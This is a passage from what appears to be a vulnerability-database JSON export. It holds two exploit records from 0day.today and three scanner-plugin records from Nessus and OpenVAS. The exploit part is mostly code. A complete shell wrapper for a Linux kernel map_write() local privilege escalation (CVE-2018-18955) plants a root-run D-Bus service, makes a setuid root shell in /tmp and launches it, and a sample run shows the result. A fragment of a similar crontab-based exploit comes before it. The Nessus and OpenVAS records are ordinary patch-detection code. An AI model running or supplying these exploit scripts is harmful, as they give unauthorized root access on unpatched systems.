\"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm \"${bootstrap}\"\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\nif command_exists /bin/sed; then\r\n echo \"/bin/sed -i '\\$ d' /etc/crontab\" | $rootshell\r\nelse\r\n echo \"[!] Manual clean up of /etc/crontab required\"\r\nfi\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://0day.today/exploit/33028"}, {"lastseen": "2019-12-04T15:58:55", "bulletinFamily": "exploit", "description": "Exploit for linux platform in category local exploits", "modified": "2019-07-26T00:00:00", "published": "2019-07-26T00:00:00", "id": "1337DAY-ID-33029", "href": "https://0day.today/exploit/description/33029", "title": "Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation Exploit", "type": "zdt", "sourceData": "#!/bin/sh\r\n#\r\n# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47165.zip\r\n#\r\n# wrapper for Jann Horn's exploit for CVE-2018-18955\r\n# uses dbus service technique\r\n# ---\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh\r\n# [*] Compiling...\r\n# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...\r\n# [.] starting\r\n# [.] setting up namespace\r\n# [~] done, namespace sandbox set up\r\n# [.] mapping subordinate ids\r\n# [.] subuid: 165536\r\n# [.] subgid: 165536\r\n# [~] done, mapped subordinate ids\r\n# [.] executing subshell\r\n# [*] Launching dbus service...\r\n# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.\r\n# [+] Success:\r\n# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh\r\n# [*] Cleaning up...\r\n# [*] Launching root shell: /tmp/sh\r\n# [email\u00a0protected]:~/kernel-exploits/CVE-2018-18955# id\r\n# uid=0(root) gid=0(root) groups=0(root),1001(test)\r\n\r\nrootshell=\"/tmp/sh\"\r\nservice=\"org.subuid.Service\"\r\n\r\ncommand_exists() {\r\n command -v \"${1}\" >/dev/null 2>/dev/null\r\n}\r\n\r\nif ! command_exists gcc; then\r\n echo '[-] gcc is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/dbus-send; then\r\n echo '[-] dbus-send is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newuidmap; then\r\n echo '[-] newuidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! command_exists /usr/bin/newgidmap; then\r\n echo '[-] newgidmap is not installed'\r\n exit 1\r\nfi\r\n\r\nif ! test -w .; then\r\n echo '[-] working directory is not writable'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Compiling...\"\r\n\r\nif ! gcc subuid_shell.c -o subuid_shell; then\r\n echo 'Compiling subuid_shell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc subshell.c -o subshell; then\r\n echo 'Compiling gcc_subshell.c failed'\r\n exit 1\r\nfi\r\n\r\nif ! gcc rootshell.c -o \"${rootshell}\"; then\r\n echo 'Compiling rootshell.c failed'\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /usr/share/dbus-1/system-services/${service}.service...\"\r\n\r\ncat << EOF > \"${service}.service\"\r\n[D-BUS Service]\r\nName=${service}\r\nExec=/bin/sh -c \"/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}\"\r\nUser=root\r\nEOF\r\n\r\necho \"cp ${service}.service /usr/share/dbus-1/system-services/${service}.service\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/usr/share/dbus-1/system-services/${service}.service\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Creating /etc/dbus-1/system.d/${service}.conf...\"\r\n\r\ncat << EOF > \"${service}.conf\"\r\n<!DOCTYPE busconfig PUBLIC\r\n \"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN\"\r\n \"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd\">\r\n<busconfig>\r\n <policy context=\"default\">\r\n <allow send_destination=\"${service}\"/>\r\n </policy>\r\n</busconfig>\r\nEOF\r\n\r\necho \"cp ${service}.conf /etc/dbus-1/system.d/${service}.conf\" | ./subuid_shell ./subshell\r\n\r\nif ! test -r \"/etc/dbus-1/system.d/${service}.conf\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho \"[*] Launching dbus service...\"\r\n\r\n/usr/bin/dbus-send --system --print-reply --dest=\"${service}\" --type=method_call --reply-timeout=1 / \"${service}\"\r\n\r\nsleep 1\r\n\r\nif ! test -u \"${rootshell}\"; then\r\n echo '[-] Failed'\r\n /bin/rm \"${rootshell}\"\r\n exit 1\r\nfi\r\n\r\necho '[+] Success:'\r\n/bin/ls -la \"${rootshell}\"\r\n\r\necho '[*] Cleaning up...'\r\n/bin/rm subuid_shell\r\n/bin/rm subshell\r\n/bin/rm \"${service}.conf\"\r\n/bin/rm \"${service}.service\"\r\necho \"/bin/rm /usr/share/dbus-1/system-services/${service}.service\" | $rootshell\r\necho \"/bin/rm /etc/dbus-1/system.d/${service}.conf\" | $rootshell\r\n\r\necho \"[*] Launching root shell: ${rootshell}\"\r\n$rootshell\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 4.4, "vector": "AV:L/AC:M/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://0day.today/exploit/33029"}], "nessus": [{"lastseen": "2019-11-03T12:36:21", "bulletinFamily": "scanner", "description": "It was discovered that libsndfile incorrectly handled certain\nmalformed files. A remote attacker could use this issue to cause\nlibsndfile to crash, resulting in a denial of service, or possibly\nexecute arbitrary code.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-4013-1.NASL", "href": "https://www.tenable.com/plugins/nessus/125812", "published": "2019-06-11T00:00:00", "title": "Ubuntu 16.04 LTS / 18.04 LTS / 18.10 : libsndfile vulnerabilities (USN-4013-1)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-4013-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125812);\n script_version(\"1.2\");\n script_cvs_date(\"Date: 2019/09/18 12:31:49\");\n\n script_cve_id(\"CVE-2017-14245\", \"CVE-2017-14246\", \"CVE-2017-14634\", \"CVE-2017-16942\", \"CVE-2017-17456\", \"CVE-2017-17457\", \"CVE-2017-6892\", \"CVE-2018-13139\", \"CVE-2018-19432\", \"CVE-2018-19661\", \"CVE-2018-19662\", \"CVE-2018-19758\", \"CVE-2019-3832\");\n script_xref(name:\"USN\", value:\"4013-1\");\n\n script_name(english:\"Ubuntu 16.04 LTS / 18.04 LTS / 18.10 : libsndfile vulnerabilities (USN-4013-1)\");\n script_summary(english:\"Checks dpkg output for updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Ubuntu host is missing a security-related patch.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that libsndfile incorrectly handled certain\nmalformed files. A remote attacker could use this issue to cause\nlibsndfile to crash, resulting in a denial of service, or possibly\nexecute arbitrary code.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/4013-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libsndfile1 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:libsndfile1\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.04:-:lts\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.10\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/06/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/06/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/06/11\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2019 Canonical, Inc. / NASL script (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04|18\\.04|18\\.10)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 16.04 / 18.04 / 18.10\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"16.04\", pkgname:\"libsndfile1\", pkgver:\"1.0.25-10ubuntu0.16.04.2\")) flag++;\nif (ubuntu_check(osver:\"18.04\", pkgname:\"libsndfile1\", pkgver:\"1.0.28-4ubuntu0.18.04.1\")) flag++;\nif (ubuntu_check(osver:\"18.10\", pkgname:\"libsndfile1\", pkgver:\"1.0.28-4ubuntu0.18.10.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libsndfile1\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T03:26:27", "bulletinFamily": "scanner", "description": "An update for kernel-alt is now available for Red Hat Enterprise Linux\n7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe kernel-alt packages provide the Linux kernel version 4.x.\n\nSecurity Fix(es) :\n\n* kernel: lack of check for mmap minimum address in expand_downwards\nin mm/ mmap.c leads to NULL pointer dereferences exploit on non-SMAP\nplatforms (CVE-2019-9213)\n\n* kernel: use-after-free in ucma_leave_multicast in\ndrivers/infiniband/core/ ucma.c (CVE-2018-14734)\n\n* kernel: Unprivileged users able to inspect kernel stacks of\narbitrary tasks (CVE-2018-17972)\n\n* kernel: TLB flush happens too late on mremap (CVE-2018-18281)\n\n* kernel: Type confusion in drivers/tty/n_tty.c allows for a denial of\nservice (CVE-2018-18386)\n\n* kernel: userfaultfd bypasses tmpfs file permissions (CVE-2018-18397)\n\n* kernel: Integer overflow in the alarm_timer_nsleep function\n(CVE-2018-13053)\n\n* kernel: NULL pointer dereference in xfs_da_shrink_inode function\n(CVE-2018-13094)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.\n\nBug Fix(es) :\n\n* Failed to boot with ftrace=function in kvm with 2vcpu (BZ#1501024)\n\n* [ALT-7.5][x86_64] perf test 63 - inet_pton fails on x86_64\n(BZ#1518836)\n\n* BUG: potential out-of-bounds string access when forcing a SELinux\nlabel on a file (BZ#1595706)\n\n* stack out-of-bounds in smb{2,3}_create_lease_buf() on SMB2/SMB3\nmounts (BZ# 1598757)\n\n* [ALT-7.6][KVM][PANIC] ltp/lite proc01 - Unable to handle kernel\npaging request at virtual address ffff7fe000200018 (BZ#1623193)\n\n* Kernel lock up due to read/write lock (BZ#1636261)\n\n* [RHEL-ALT] Fix potential Spectre v1 in tty code (BZ#1639679)\n\n* [Huawei AArch64 7.6 Bug] HNS3: Vlan on HNS3 NIC cannot communicate\n(BZ# 1639713)\n\n* [RHEL7.6-ALT][AWS] backport ", "modified": "2019-11-02T00:00:00", "id": "REDHAT-RHSA-2019-0831.NASL", "href": "https://www.tenable.com/plugins/nessus/124257", "published": "2019-04-24T00:00:00", "title": "RHEL 7 : kernel-alt (RHSA-2019:0831)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2019:0831. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124257);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/24 15:35:46\");\n\n script_cve_id(\"CVE-2018-13053\", \"CVE-2018-13094\", \"CVE-2018-14734\", \"CVE-2018-17972\", \"CVE-2018-18281\", \"CVE-2018-18386\", \"CVE-2018-18397\", \"CVE-2019-9213\");\n script_xref(name:\"RHSA\", value:\"2019:0831\");\n\n script_name(english:\"RHEL 7 : kernel-alt (RHSA-2019:0831)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for kernel-alt is now available for Red Hat Enterprise Linux\n7.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe kernel-alt packages provide the Linux kernel version 4.x.\n\nSecurity Fix(es) :\n\n* kernel: lack of check for mmap minimum address in expand_downwards\nin mm/ mmap.c leads to NULL pointer dereferences exploit on non-SMAP\nplatforms (CVE-2019-9213)\n\n* kernel: use-after-free in ucma_leave_multicast in\ndrivers/infiniband/core/ ucma.c (CVE-2018-14734)\n\n* kernel: Unprivileged users able to inspect kernel stacks of\narbitrary tasks (CVE-2018-17972)\n\n* kernel: TLB flush happens too late on mremap (CVE-2018-18281)\n\n* kernel: Type confusion in drivers/tty/n_tty.c allows for a denial of\nservice (CVE-2018-18386)\n\n* kernel: userfaultfd bypasses tmpfs file permissions (CVE-2018-18397)\n\n* kernel: Integer overflow in the alarm_timer_nsleep function\n(CVE-2018-13053)\n\n* kernel: NULL pointer dereference in xfs_da_shrink_inode function\n(CVE-2018-13094)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.\n\nBug Fix(es) :\n\n* Failed to boot with ftrace=function in kvm with 2vcpu (BZ#1501024)\n\n* [ALT-7.5][x86_64] perf test 63 - inet_pton fails on x86_64\n(BZ#1518836)\n\n* BUG: potential out-of-bounds string access when forcing a SELinux\nlabel on a file (BZ#1595706)\n\n* stack out-of-bounds in smb{2,3}_create_lease_buf() on SMB2/SMB3\nmounts (BZ# 1598757)\n\n* [ALT-7.6][KVM][PANIC] ltp/lite proc01 - Unable to handle kernel\npaging request at virtual address ffff7fe000200018 (BZ#1623193)\n\n* Kernel lock up due to read/write lock (BZ#1636261)\n\n* [RHEL-ALT] Fix potential Spectre v1 in tty code (BZ#1639679)\n\n* [Huawei AArch64 7.6 Bug] HNS3: Vlan on HNS3 NIC cannot communicate\n(BZ# 1639713)\n\n* [RHEL7.6-ALT][AWS] backport 'nvme: update timeout module parameter\ntype' (BZ#1654958)\n\n* ignore STABLE_FLAG of rmap_item->address in rmap_walk_ksm\n(BZ#1663565)\n\n* RHEL-Alt-7.6 - kernel: zcrypt: fix specification exception on z196\nat ap probe (BZ#1670018)\n\n* [Huawei AArch64 7.6 Bug] Flock over NFSv3 failed (BZ#1670650)\n\n* [Huawei AArch64 7.6/7.6-z Bug] HNS3: if a single transmit\npacket(skb) has more than 8 frags, will cause the NIC to be\nunavailable (BZ#1677643)\n\n* krb5{,i,p} doesn't work with older enctypes on aarch64 (BZ#1678922)\n\nUsers of kernel are advised to upgrade to these updated packages,\nwhich fix these bugs.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2019:0831\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-13053\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-13094\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-14734\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-17972\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-18281\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-18386\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-18397\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-9213\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-abi-whitelists\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-debug\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-debug-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-debug-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-debuginfo-common-s390x\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-kdump\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-kdump-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:kernel-kdump-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:perf-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:python-perf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:python-perf-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/07/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/04/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/04/24\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\ninclude(\"ksplice.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^7([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 7.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2018-13053\", \"CVE-2018-13094\", \"CVE-2018-14734\", \"CVE-2018-17972\", \"CVE-2018-18281\", \"CVE-2018-18386\", \"CVE-2018-18397\", \"CVE-2019-9213\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for RHSA-2019:0831\");\n }\n else\n {\n __rpm_report = ksplice_reporting_text();\n }\n}\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2019:0831\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", reference:\"kernel-abi-whitelists-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-debug-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-debug-debuginfo-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-debug-devel-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-debuginfo-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-debuginfo-common-s390x-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-devel-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", reference:\"kernel-doc-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-headers-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-kdump-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-kdump-debuginfo-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"kernel-kdump-devel-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"perf-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"perf-debuginfo-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"python-perf-4.14.0-115.7.1.el7a\")) flag++;\n if (rpm_check(release:\"RHEL7\", cpu:\"s390x\", reference:\"python-perf-debuginfo-4.14.0-115.7.1.el7a\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel / kernel-abi-whitelists / kernel-debug / etc\");\n }\n}\n", "cvss": {"score": 6.1, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:C"}}], "openvas": [{"lastseen": "2019-06-12T20:43:01", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-06-11T00:00:00", "published": "2019-06-11T00:00:00", "id": "OPENVAS:1361412562310844048", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310844048", "title": "Ubuntu Update for libsndfile USN-4013-1", "type": "openvas", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.844048\");\n script_version(\"2019-06-11T06:16:55+0000\");\n script_cve_id(\"CVE-2017-14245\", \"CVE-2017-14246\", \"CVE-2017-14634\", \"CVE-2017-16942\", \"CVE-2017-17456\", \"CVE-2017-17457\", \"CVE-2017-6892\", \"CVE-2018-13139\", \"CVE-2018-19432\", \"CVE-2018-19661\", \"CVE-2018-19662\", \"CVE-2018-19758\", \"CVE-2019-3832\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-06-11 06:16:55 +0000 (Tue, 11 Jun 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-06-11 02:01:11 +0000 (Tue, 11 Jun 2019)\");\n script_name(\"Ubuntu Update for libsndfile USN-4013-1\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n 